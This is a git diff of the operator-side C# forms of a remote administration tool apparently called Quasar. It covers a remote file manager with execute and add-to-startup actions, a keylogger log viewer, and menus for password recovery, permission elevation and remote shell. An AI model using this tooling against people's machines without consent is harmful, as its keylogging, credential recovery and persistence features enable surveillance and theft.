+ private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_fileManagerHandler); + _fileManagerHandler.ProgressChanged -= SetStatusMessage; + _fileManagerHandler.DrivesChanged -= DrivesChanged; + _fileManagerHandler.DirectoryChanged -= DirectoryChanged; + _fileManagerHandler.FileTransferUpdated -= FileTransferUpdated; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever drives changed. + /// + /// The message handler which raised the event. + /// The currently available drives. + private void DrivesChanged(object sender, Drive[] drives) + { + cmbDrives.Items.Clear(); + cmbDrives.DisplayMember = "DisplayName"; + cmbDrives.ValueMember = "RootDirectory"; + cmbDrives.DataSource = new BindingSource(drives, null); + + SetStatusMessage(this, "Ready"); + } + + /// + /// Called whenever a directory changed. + /// + /// The message processor which raised the event. + /// The remote path of the directory. + /// The directory content. + private void DirectoryChanged(object sender, string remotePath, FileSystemEntry[] items) + { + txtPath.Text = remotePath; + _currentDir = remotePath; + + lstDirectory.Items.Clear(); + + AddItemToFileBrowser("..", 0, FileType.Back, 0); + foreach (var item in items) + { + switch (item.EntryType) + { + case FileType.Directory: + AddItemToFileBrowser(item.Name, 0, item.EntryType, 1); + break; + case FileType.File: + int imageIndex = item.ContentType == null ? 2 : (int)item.ContentType; + AddItemToFileBrowser(item.Name, item.Size, item.EntryType, imageIndex); + break; + } + } + + SetStatusMessage(this, "Ready"); + } + + /// + /// Gets the image index of completed or canceled file transfers. + /// + /// File transfer status used to determine the image index. + /// The image index of the file transfer, default -1. + private int GetTransferImageIndex(string status) + { + int imageIndex = -1; + switch (status) + { + case "Completed": + imageIndex = 1; + break; + case "Canceled": + imageIndex = 0; + break; + } + + return imageIndex; + } + + /// + /// Called whenever a file transfer gets updated. + /// + /// The message processor which raised the event. + /// The updated file transfer. + private void FileTransferUpdated(object sender, FileTransfer transfer) + { + for (var i = 0; i < lstTransfers.Items.Count; i++) + { + if (lstTransfers.Items[i].SubItems[(int)TransferColumn.Id].Text == transfer.Id.ToString()) + { + lstTransfers.Items[i].SubItems[(int)TransferColumn.Status].Text = transfer.Status; + lstTransfers.Items[i].ImageIndex = GetTransferImageIndex(transfer.Status); + return; + } + } + + var lvi = new ListViewItem(new[] + {transfer.Id.ToString(), transfer.Type.ToString(), transfer.Status, transfer.RemotePath}) + {Tag = transfer, ImageIndex = GetTransferImageIndex(transfer.Status)}; + + lstTransfers.Items.Add(lvi); + } + + /// + /// Combines the current path with the new path. + /// + /// The path to combine with. + /// The absolute combined path. + private string GetAbsolutePath(string path) + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.Length == 1) + return Path.Combine(_currentDir, path); + else + return Path.Combine(_currentDir + '/', path); + } + + return Path.GetFullPath(Path.Combine(_currentDir, path)); + } + + /// + /// Navigates one directory up in the hierarchical directory tree. + /// + /// The new directory path. + private string NavigateUp() + { + if (!string.IsNullOrEmpty(_currentDir) && _currentDir[0] == '/') // support forward slashes + { + if (_currentDir.LastIndexOf('/') > 0) + { + _currentDir = _currentDir.Remove(_currentDir.LastIndexOf('/') + 1); + _currentDir = _currentDir.TrimEnd('/'); + } + else + _currentDir = "/"; + + return _currentDir; + } + else + return GetAbsolutePath(@"..\"); + } + + private void FrmFileManager_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("File Manager", _connectClient); + _fileManagerHandler.RefreshDrives(); + } + + private void FrmFileManager_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _fileManagerHandler.Dispose(); + } + + private void cmbDrives_SelectedIndexChanged(object sender, EventArgs e) + { + SwitchDirectory(cmbDrives.SelectedValue.ToString()); + } + + private void lstDirectory_DoubleClick(object sender, EventArgs e) + { + if (lstDirectory.SelectedItems.Count > 0) + { + FileManagerListTag tag = (FileManagerListTag) lstDirectory.SelectedItems[0].Tag; + + switch (tag.Type) + { + case FileType.Back: + SwitchDirectory(NavigateUp()); + break; + case FileType.Directory: + SwitchDirectory(GetAbsolutePath(lstDirectory.SelectedItems[0].SubItems[0].Text)); + break; + } + } + } + + private void lstDirectory_ColumnClick(object sender, ColumnClickEventArgs e) + { + lstDirectory.LvwColumnSorter.NeedNumberCompare = (e.Column == 1); + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.BeginDownloadFile(remotePath); + } + } + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + using (var ofd = new OpenFileDialog()) + { + ofd.Title = "Select files to upload"; + ofd.Filter = "All files (*.*)|*.*"; + ofd.Multiselect = true; + + if (ofd.ShowDialog() == DialogResult.OK) + { + foreach (var localFilePath in ofd.FileNames) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + } + + private void executeToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag) files.Tag; + + if (tag.Type == FileType.File) + { + string remotePath = GetAbsolutePath(files.SubItems[0].Text); + + _fileManagerHandler.StartProcess(remotePath); + } + } + } + + private void renameToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + string newName = files.SubItems[0].Text; + + if (InputBox.Show("New name", "Enter new name:", ref newName) == DialogResult.OK) + { + newName = GetAbsolutePath(newName); + _fileManagerHandler.RenameFile(path, newName, tag.Type); + } + break; + } + } + } + + private void deleteToolStripMenuItem_Click(object sender, EventArgs e) + { + int count = lstDirectory.SelectedItems.Count; + if (count == 0) return; + if (MessageBox.Show(string.Format("Are you sure you want to delete {0} file(s)?", count), + "Delete Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) == DialogResult.Yes) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + switch (tag.Type) + { + case FileType.Directory: + case FileType.File: + string path = GetAbsolutePath(files.SubItems[0].Text); + _fileManagerHandler.DeleteFile(path, tag.Type); + break; + } + } + } + } + + private void addToStartupToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem files in lstDirectory.SelectedItems) + { + FileManagerListTag tag = (FileManagerListTag)files.Tag; + + if (tag.Type == FileType.File) + { + string path = GetAbsolutePath(files.SubItems[0].Text); + + using (var frm = new FrmStartupAdd(path)) + { + if (frm.ShowDialog() == DialogResult.OK) + { + _fileManagerHandler.AddToStartup(frm.StartupItem); + } + } + } + } + } + + private void refreshToolStripMenuItem_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void openDirectoryToolStripMenuItem_Click(object sender, EventArgs e) + { + string path = _currentDir; + if (lstDirectory.SelectedItems.Count == 1) + { + var item = lstDirectory.SelectedItems[0]; + FileManagerListTag tag = (FileManagerListTag)item.Tag; + + if (tag.Type == FileType.Directory) + { + path = GetAbsolutePath(item.SubItems[0].Text); + } + } + + FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(_connectClient); + frmRs.Show(); + frmRs.Focus(); + var driveLetter = Path.GetPathRoot(path); + frmRs.RemoteShellHandler.SendCommand($"{driveLetter.Remove(driveLetter.Length - 1)} && cd \"{path}\""); + } + + private void btnOpenDLFolder_Click(object sender, EventArgs e) + { + if (!Directory.Exists(_connectClient.Value.DownloadDirectory)) + Directory.CreateDirectory(_connectClient.Value.DownloadDirectory); + + Process.Start(_connectClient.Value.DownloadDirectory); + } + + private void cancelToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.SelectedItems) + { + if (!transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") && + !transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + + int id = int.Parse(transfer.SubItems[(int)TransferColumn.Id].Text); + + _fileManagerHandler.CancelFileTransfer(id); + } + } + + private void clearToolStripMenuItem_Click(object sender, EventArgs e) + { + foreach (ListViewItem transfer in lstTransfers.Items) + { + if (transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Downloading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Uploading") || + transfer.SubItems[(int)TransferColumn.Status].Text.StartsWith("Pending")) continue; + transfer.Remove(); + } + } + + private void lstDirectory_DragEnter(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) // allow drag & drop with files + e.Effect = DragDropEffects.Copy; + } + + private void lstDirectory_DragDrop(object sender, DragEventArgs e) + { + if (e.Data.GetDataPresent(DataFormats.FileDrop)) + { + string[] files = (string[])e.Data.GetData(DataFormats.FileDrop); + foreach (string localFilePath in files) + { + if (!File.Exists(localFilePath)) continue; + + string remotePath = GetAbsolutePath(Path.GetFileName(localFilePath)); + + _fileManagerHandler.BeginUploadFile(localFilePath, remotePath); + } + } + } + + private void btnRefresh_Click(object sender, EventArgs e) + { + RefreshDirectory(); + } + + private void FrmFileManager_KeyDown(object sender, KeyEventArgs e) + { + // refresh when F5 is pressed + if (e.KeyCode == Keys.F5 && !string.IsNullOrEmpty(_currentDir) && TabControlFileManager.SelectedIndex == 0) + { + RefreshDirectory(); + e.Handled = true; + } + } + + /// + /// Adds an item to the file browser. + /// + /// File or directory name. + /// File size, for directories use 0. + /// File type. + /// The image to display for this item. + private void AddItemToFileBrowser(string name, long size, FileType type, int imageIndex) + { + ListViewItem lvi = new ListViewItem(new string[] + { + name, + (type == FileType.File) ? StringHelper.GetHumanReadableFileSize(size) : string.Empty, + (type != FileType.Back) ? type.ToString() : string.Empty + }) + { + Tag = new FileManagerListTag(type, size), + ImageIndex = imageIndex + }; + + lstDirectory.Items.Add(lvi); + } + + /// + /// Sets the status of the file manager. + /// + /// The message handler which raised the event. + /// The new status. + private void SetStatusMessage(object sender, string message) + { + stripLblStatus.Text = $"Status: {message}"; + } + + /// + /// Fetches the directory contents of the current directory. + /// + private void RefreshDirectory() + { + SwitchDirectory(_currentDir); + } + + /// + /// Switches to a new directory and fetches the contents of it. + /// + /// Path of new directory. + private void SwitchDirectory(string remotePath) + { + _fileManagerHandler.GetDirectoryContents(remotePath); + SetStatusMessage(this, "Loading directory content..."); + } + } +} \ No newline at end of file diff --git a/Server/Forms/FrmFileManager.resx b/Quasar.Server/Forms/FrmFileManager.resx similarity index 95% rename from Server/Forms/FrmFileManager.resx rename to Quasar.Server/Forms/FrmFileManager.resx index 257105c60..3cfb31ce5 100644 --- a/Server/Forms/FrmFileManager.resx +++ b/Quasar.Server/Forms/FrmFileManager.resx @@ -120,6 +120,47 @@ 297, 17 + + + + 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 + + 157, 17 @@ -128,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAW - EwAAAk1TRnQBSQFMAgEBCwEAAdABAgHQAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCwEAAegBAgHoAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -226,7 +267,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABE - CQAAAk1TRnQBSQFMAgEBAgEAAUgBAgFIAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAWABAgFgAQIBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -271,7 +312,6 @@ 58 - AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA diff --git a/Server/Forms/FrmKeylogger.Designer.cs b/Quasar.Server/Forms/FrmKeylogger.Designer.cs similarity index 88% rename from Server/Forms/FrmKeylogger.Designer.cs rename to Quasar.Server/Forms/FrmKeylogger.Designer.cs index 98164d4ad..e905b6461 100644 --- a/Server/Forms/FrmKeylogger.Designer.cs +++ b/Quasar.Server/Forms/FrmKeylogger.Designer.cs @@ -1,4 +1,4 @@ -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmKeylogger { @@ -34,6 +34,8 @@ private void InitializeComponent() this.statusStrip = new System.Windows.Forms.StatusStrip(); this.btnGetLogs = new System.Windows.Forms.Button(); this.wLogViewer = new System.Windows.Forms.WebBrowser(); + this.stripLblStatus = new System.Windows.Forms.ToolStripStatusLabel(); + this.statusStrip.SuspendLayout(); this.SuspendLayout(); // // lstLogs @@ -60,6 +62,8 @@ private void InitializeComponent() // // statusStrip // + this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.stripLblStatus}); this.statusStrip.Location = new System.Drawing.Point(0, 460); this.statusStrip.Name = "statusStrip"; this.statusStrip.Size = new System.Drawing.Size(862, 22); @@ -88,10 +92,16 @@ private void InitializeComponent() this.wLogViewer.Size = new System.Drawing.Size(708, 409); this.wLogViewer.TabIndex = 8; // + // stripLblStatus + // + this.stripLblStatus.Name = "stripLblStatus"; + this.stripLblStatus.Size = new System.Drawing.Size(77, 17); + this.stripLblStatus.Text = "Status: Ready"; + // // FrmKeylogger // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; this.ClientSize = new System.Drawing.Size(862, 482); this.Controls.Add(this.wLogViewer); this.Controls.Add(this.btnGetLogs); @@ -105,6 +115,8 @@ private void InitializeComponent() this.Text = "Keylogger []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmKeylogger_FormClosing); this.Load += new System.EventHandler(this.FrmKeylogger_Load); + this.statusStrip.ResumeLayout(false); + this.statusStrip.PerformLayout(); this.ResumeLayout(false); this.PerformLayout(); @@ -117,8 +129,6 @@ private void InitializeComponent() private System.Windows.Forms.WebBrowser wLogViewer; private System.Windows.Forms.ListView lstLogs; private System.Windows.Forms.Button btnGetLogs; - - - + private System.Windows.Forms.ToolStripStatusLabel stripLblStatus; } } \ No newline at end of file diff --git a/Quasar.Server/Forms/FrmKeylogger.cs b/Quasar.Server/Forms/FrmKeylogger.cs new file mode 100644 index 000000000..59ac270ca --- /dev/null +++ b/Quasar.Server/Forms/FrmKeylogger.cs @@ -0,0 +1,161 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows.Forms; +using Quasar.Common.Messages; +using Quasar.Server.Helper; +using Quasar.Server.Messages; +using Quasar.Server.Networking; + +namespace Quasar.Server.Forms +{ + public partial class FrmKeylogger : Form + { + /// + /// The client which can be used for the keylogger. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly KeyloggerHandler _keyloggerHandler; + + /// + /// Path to the base download directory of the client. + /// + private readonly string _baseDownloadPath; + + /// + /// Holds the opened keylogger form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new keylogger form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the keylogger form. + /// + /// Returns a new keylogger form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmKeylogger CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmKeylogger f = new FrmKeylogger(client); + f.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, f); + return f; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the keylogger form. + public FrmKeylogger(Client client) + { + _connectClient = client; + _keyloggerHandler = new KeyloggerHandler(client); + + _baseDownloadPath = Path.Combine(_connectClient.Value.DownloadDirectory, "Logs\\"); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the keylogger message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _keyloggerHandler.ProgressChanged += LogsChanged; + MessageHandler.Register(_keyloggerHandler); + } + + /// + /// Unregisters the keylogger message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_keyloggerHandler); + _keyloggerHandler.ProgressChanged -= LogsChanged; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Called whenever the keylogger logs finished retrieving. + /// + /// The message processor which raised the event. + /// The status message. + private void LogsChanged(object sender, string message) + { + RefreshLogsDirectory(); + btnGetLogs.Enabled = true; + stripLblStatus.Text = "Status: " + message; + } + + private void FrmKeylogger_Load(object sender, EventArgs e) + { + this.Text = WindowHelper.GetWindowTitle("Keylogger", _connectClient); + + if (!Directory.Exists(_baseDownloadPath)) + { + Directory.CreateDirectory(_baseDownloadPath); + return; + } + + RefreshLogsDirectory(); + } + + private void FrmKeylogger_FormClosing(object sender, FormClosingEventArgs e) + { + UnregisterMessageHandler(); + _keyloggerHandler.Dispose(); + } + + private void btnGetLogs_Click(object sender, EventArgs e) + { + btnGetLogs.Enabled = false; + stripLblStatus.Text = "Status: Retrieving logs..."; + _keyloggerHandler.RetrieveLogs(); + } + + private void lstLogs_ItemActivate(object sender, EventArgs e) + { + if (lstLogs.SelectedItems.Count > 0) + { + wLogViewer.Navigate(Path.Combine(_baseDownloadPath, lstLogs.SelectedItems[0].Text)); + } + } + + private void RefreshLogsDirectory() + { + lstLogs.Items.Clear(); + + DirectoryInfo dicInfo = new DirectoryInfo(_baseDownloadPath); + + FileInfo[] iFiles = dicInfo.GetFiles(); + + foreach (FileInfo file in iFiles) + { + lstLogs.Items.Add(new ListViewItem {Text = file.Name}); + } + } + } +} diff --git a/Server/Forms/FrmKeylogger.resx b/Quasar.Server/Forms/FrmKeylogger.resx similarity index 100% rename from Server/Forms/FrmKeylogger.resx rename to Quasar.Server/Forms/FrmKeylogger.resx diff --git a/Server/Forms/FrmMain.Designer.cs b/Quasar.Server/Forms/FrmMain.Designer.cs similarity index 89% rename from Server/Forms/FrmMain.Designer.cs rename to Quasar.Server/Forms/FrmMain.Designer.cs index 922857fee..c863cd607 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Quasar.Server/Forms/FrmMain.Designer.cs @@ -1,6 +1,6 @@ -using xServer.Controls; +using Quasar.Server.Controls; -namespace xServer.Forms +namespace Quasar.Server.Forms { partial class FrmMain { @@ -33,34 +33,37 @@ private void InitializeComponent() this.components = new System.ComponentModel.Container(); System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmMain)); this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); - this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.systemInformationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.fileManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.startupManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.taskManagerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.remoteShellToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.reverseProxyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.registryEditorToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.ctxtLine = new System.Windows.Forms.ToolStripSeparator(); this.actionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.shutdownToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.restartToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.standbyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.surveillanceToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.passwordRecoveryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.keyloggerToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.miscellaneousToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.remoteExecuteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.localFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.webFileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); - this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem2 = new System.Windows.Forms.ToolStripMenuItem(); + this.userSupportToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.showMessageboxToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.remoteDesktopToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.visitWebsiteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.connectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.elevateClientPermissionsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.updateToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.reconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.disconnectToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.uninstallToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.lineToolStripMenuItem = new System.Windows.Forms.ToolStripSeparator(); this.selectAllToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.imgFlags = new System.Windows.Forms.ImageList(this.components); @@ -68,7 +71,7 @@ private void InitializeComponent() this.tableLayoutPanel = new System.Windows.Forms.TableLayoutPanel(); this.statusStrip = new System.Windows.Forms.StatusStrip(); this.listenToolStripStatusLabel = new System.Windows.Forms.ToolStripStatusLabel(); - this.lstClients = new xServer.Controls.AeroListView(); + this.lstClients = new Quasar.Server.Controls.AeroListView(); this.hIP = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hTag = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); this.hUserPC = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); @@ -93,59 +96,14 @@ private void InitializeComponent() // contextMenuStrip // this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { - this.connectionToolStripMenuItem, this.systemToolStripMenuItem, this.surveillanceToolStripMenuItem, 